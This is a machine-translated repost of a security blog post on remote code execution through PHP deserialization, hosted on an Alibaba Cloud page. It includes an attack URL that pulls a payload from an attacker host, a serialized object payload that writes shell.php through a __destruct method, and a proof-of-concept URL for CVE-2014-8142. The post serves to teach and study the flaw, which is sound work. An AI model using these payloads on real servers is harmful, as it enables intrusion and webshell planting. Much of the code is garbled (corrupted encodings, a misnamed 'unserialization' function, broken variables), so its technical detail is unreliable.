5. Remote code execution via PHP deserialization

Source: Internet
Author: User
Tags object serialization what php cve

Remote code execution via PHP deserialization

0x00 Preface

In notsosecure, we conduct penetration testing or code reviews on a daily basis, but recently we ran into an interesting PHP code that could lead to a remote code Execution (RCE) vulnerability, but it's a bit tricky to exploit.

After a few sleepless nights trying to crack this code, we were convinced that exploiting this vulnerability would allow both application-level and system-level code execution. This blog post from Rahul Sasi will explain some of the information about the vulnerability and how to exploit it.

0x01 code that contains the vulnerability

In the above code, the user-controlled values may be passed to the PHP deserialization function. This vulnerability can occur when a user-supplied input is passed to the function unserialize () without proper processing. Because object serialization is allowed in PHP, an attacker could cause an arbitrary PHP object to be injected into the application scope by passing a special serialized string into a fragile unserialization () call. In our code, the application receives a file name and then reads the content using the File_get_contents function in PHP. The output is then entered into the PHP deserialization module. As mentioned earlier, the above vulnerabilities can be executed at both the application and system level, so we will drill down into the vulnerability in the next step.

To successfully exploit these vulnerabilities, three conditions must be met:

1. The application must contain a class that implements a PHP magic method (such as __wakeup or __destruct) that can be used for malicious attacks or to start a "pop chain".

2. When a vulnerable unserialize () is called, all classes used during the attack must be declared, or the object must be automatically loaded for those classes.

3. The data passed to the deserialization operation must come from a file, so the server must contain a file containing the serialized data.

Reference: https://www.owasp.org/index.php/PHP_Object_Injection

In the above scenario, condition 1 and Condition 2 are used to satisfy the exploit. However, the exploitation of this vulnerability is tricky because the input value of the deserialization operation comes from a file read by file_get_contents in PHP.

If Allow_url_fopen is turned on (the latest PHP version is disabled by default), then the PHP function file_get_contents can receive the remote URL as its parameter. In this case, an attacker could enter a URL to the function that contains a malicious file that contains serialized malicious data implanted on a remote server.

Http://vul-server/unsearilize.php?session_filename=http://attacker/exp.txt

0x02 exp.txt Content

O:3:%22foo%:2: {s:4:%22file%;S:9:%22shell.php%22 ; s:4:%22data%; s:5:%22aaaa%;}

Unfortunately, the application we tested did not turn on Allow_url_fopen. Note: It is not possible to include a file such as/proc/self/environ or any similar content, such as an access log, because the serialized string should not contain junk data. Therefore, our files should contain only serialized data for exploit.

Before explaining how to use the above code, let's explain some of the knowledge about the use of PHP object injection and analyze what the above load (payload) did.

0x03 PHP Object Injection

Security issues based on PHP deserialization were first recorded by Stefan Esser in 2009. Currently, JSON-based application serialization module usage is significantly increased, so let's take a closer look at the serialization module.

0x04 PHP Serialization

In order to save content in an array, PHP calls a function serialize (), which receives a given array as an input parameter, and is able to convert the contents of the array into a normal string, and then you can save the string contents in a file, as an input value for the URL, and so on.

Reference: http://www.hackingwithphp.com/5/11/0/saving-arrays

Next, a string array containing 3 characters is serialized.

Understand the serialized string:

A:3{Array of3Values I:0Integer, Value [index-0] S:5: "Lorem" String,5CharsLong,stringvalue "Lorem" I:1Integer, Value [index-1] S:5: "Ipsum" String,5CharsLong,stringvalue "Ipsum" I:2Integer, Value [index-2] S:5: "Dolor" String,5CharsLong,stringValue "Dolor"

0x05 PHP Deserialization

Unserialization () is the opposite of the serialize () operation function. It requires a serialized string as its input and converts it back to an array object. Also, considering object instantiation and automatic loading, deserialization can cause code to be loaded and executed.

Example:

Value= ' A:1: {s:4:"Test"; s::"  unserializationhere! " ;} ' Unserialization ($value);

0x06 PHP Automatic onboarding

In PHP, we can define special functions that can be called automatically, so these functions do not require function calls to execute the code inside them. Given this feature, these functions are often referred to as magic functions or Magic methods. The PHP Magic method name is limited by some of the keywords supported by PHP, such as construct, destruct, and so on.

In addition, the most common magic function is __construct (), because PHP version 5, the __construct method is actually the constructor of the class you define. For a given class, if PHP 5 cannot find the __construct () function, then it will search for a function that is the same as the class name, which is the old way to write the constructor in PHP, where you only need to define a function with the same name as the class name.

Here are some of the magic functions in PHP:

__construct (), __destruct (), __call (), __callstatic (), __get (), __set (), __isset (), __unset (), __sleep (), __wakeup (), __ ToString (), __invoke (), __set_state (), __clone (), and __autoload ().

Here are some of the magic methods in PHP:

exception::__tostringerrorexception::__tostringdatetime::__wakeupreflectionexception::__ tostringreflectionfunctionabstract::__tostringreflectionfunction::__tostringreflectionparameter::__ Tostringreflectionmethod::__tostringreflectionclass::__tostringreflectionobject::__tostringreflectionproperty: : __tostringreflectionextension::__tostringlogicexception::__tostringbadfunctioncallexception::__ tostringbadmethodcallexception::__tostringdomainexception::__tostringinvalidargumentexception::__ Tostringlengthexception::__tostringoutofrangeexception::__tostringruntimeexception::__tostring

Reference:http://www.programmerinterview.com/index.php/php-questions/php-what-are-magic-functions/

0x07 Object Instantiation

Instantiation means that when you create an instance of a class in memory, the materialization of a class becomes an object. So, when you really call new Class (), Class () becomes an instantiated object. When you deserialize a string, and that's what PHP does (object instantiation), it converts an array of strings into objects. Deserialization objects allow all properties to be controlled: public, protected, and private. However, the deserialized object wakes up through __wakeup () and is later destroyed by __destruct (), so the code that already exists in these (wakeup, destruct) magic functions will be executed.

Reference:http://www.nds.rub.de/media/nds/attachments/files/2011/02/ Rub2011-securityproblemsinwebapplicationsexceptinjectionvulnerabilities.pdf

So, we need to find the existing available code defined within _destruct or _wakeup, and then hijack the process of the application.

In our fragile program, the __DESTRUCT function contains a function file_put_contents:

So our payload (payload) looks like this:

O:3:%22foo% A:2: {s:4:%22file% A; s:9:%22shell.php% A; s:4:%22data% A; s:5:%22aaaa% A;} O:3{: [Object, takes3parameter with name Foo] "Foo":2: {[Parameter foo takes2values] S:4: "File"; s:9: "shell.php"; [String,4CharsLong, value "File",string 9CharsLong, value shell.php] s:4: "Data"; s:5: "AAAA";} String,4CharsLong,string 5CharsLong, value "AAAA"

So when we enter the deserialized string above, it allows to control the properties of the Class "Foo". Thus, the code that exists in the Magic method "__destruct" will be executed with the values we control, and in our case for file_put_contents, create a file "shell.php".

0x08 Exploit

In our example, because the input to the unserialization () function is a file that is read from file_get_contents.

$file _name = $_get['session_filename'];unserialization (file_get_contents ($file));

So, one of the things we tried was to find a way to store the exp.txt on the server. To do this, we must find a file/image upload function and then upload the file with a serialized payload. Then, all we have to do is trigger in the following way.

Http://vul-server/unsearilize.php?session_filename=images/exp.txt

System-level remote code execution can be performed using cve-2014-8142 and cve-2015-0231:

The Use-after-free vulnerability exists in the function process_nested_data in Ext/standard/var_unserializationr.re, which exists in previous versions of PHP 5.4.36,
Prior to the 5.5.20 version of 5.5.x and the 5.6 x version prior to 5.6.4, it allowed remote attackers to execute arbitrary code through a crafted deserialization call because, in the serialization properties of an object,
This call affects the improper handling of duplicate keys. ”

https://bugs.php.net/bug.php?id=68710

The above vulnerability affects the core PHP unsearilize function, this POC was released by Stefan Esser, we have tried to optimize and exploit this vulnerability to make code execution possible, because if successfully exploited, it will be possible to achieve system-level remote code execution.

0x09 Php+apache Security Architecture

These graphs are sufficient to explain the PHP architecture in detail.

1) If we can execute the code in the context of PHP, then we will be able to break many restrictions.

2) You should be able to access the hardened PHP host through the shell.

My work is still focused on this, and I find that "Tim Michaud" can work on the same website. We will update this blog post very soon.

http://[ip]/unsearilize_rce_poc.php?s=o:8: "StdClass": 3:{s:3: "AAA"; a:5:{i:0;i:1;i:1;i:2;i:2;s:50: " AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA11111111111"; i:3;i:4;i:4;i:5;} S:3:"AAA"; I:1;s:3:"CCC"; R:5;} ';

0x0A Reference

1, http://www.inulledmyself.com/2015/02/exploiting-memory-corruption-bugs-in.html

2, Https://www.alertlogic.com/blog/writing-exploits-for-exotic-bug-classes

3, http://php-autoloader.malkusch.de/en

4, Https://hakre.wordpress.com/2013/02/10/php-autoload-invalid-classname-injection

5, http://security.stackexchange.com/questions/77549/is-php-unserialization-exploitable-without-any-interesting-

6, http://xahlee.info/php-doc/

7, Http://phppot.com/php/php-magic-methods

8, http://php.net/manual/en/

9, Http://stackoverflow.com/questions/11630341/real-time-use-of-php-magic-methods-sleep-and-wakeup

5. Remote code execution via PHP deserialization

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.